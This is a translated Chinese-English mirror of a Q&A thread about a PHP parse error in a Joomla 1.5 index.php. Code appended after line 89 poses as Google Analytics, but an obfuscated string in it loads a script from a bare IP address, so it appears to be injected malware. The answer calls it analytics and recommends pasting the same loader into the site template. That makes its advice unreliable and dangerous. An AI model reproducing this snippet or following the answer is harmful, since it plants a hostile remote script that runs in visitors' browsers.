解析错误:语法错误,意外的'<'在-修复? [英] Parse error: syntax error, unexpected '<' in - Fix?

查看:256
本文介绍了解析错误:语法错误,意外的'<'在-修复?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

Newb在这里尝试修复我的php代码.在第89行出现错误.

Newb here trying to fix my php code. Getting an error at line 89.

<?php
/**
* @version      $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package      Joomla
* @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license      GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');

/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();

// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
* RENDER  THE APPLICATION
*
* NOTE :
*/
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
<?php echo '<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));
</script>
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>

推荐答案

仅在Joomla 1.5包中找到了该文件.它是根目录中的index.php.由于此文件仅包含89行,并且已被证明可以工作,因此joomla本身不是问题.

Just found the file in the Joomla 1.5 package. It's the index.php in the root directory. Since this file only consists of 89 lines and it's proven to work, it's not a problem with joomla itself.

就像上面建议的那样,在第89行之后剪切了所有内容,并将文件恢复为原始布局.如果不确定,请加载最新的Joomla 1.5安装并获取随附的"index.php"文件.顺便提一句.在可能已经由Joomla返回gzip压缩并且body标签已经关闭之后,以明文形式返回任何内容是不明智的.

Like suggested above cut everything after line 89 and restore the file to its original layout. If unsure just load the latest Joomla 1.5 installation and take the included "index.php" file. Btw. it is unwise to return any content in clear text after it has possibly already returned gzipped by Joomla and the body tag is already closed.

如何还原Google Analytics(分析)功能?查找您当前使用的模板,打开"index.php"文件,并在body标记关闭之前添加以下内容:

How to restore Google analytics functionality? Lookup your currently used template, open the "index.php" file and add the following just before the body tag is closed:

<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));

try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>

这篇关于解析错误:语法错误,意外的'&lt;'在-修复?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆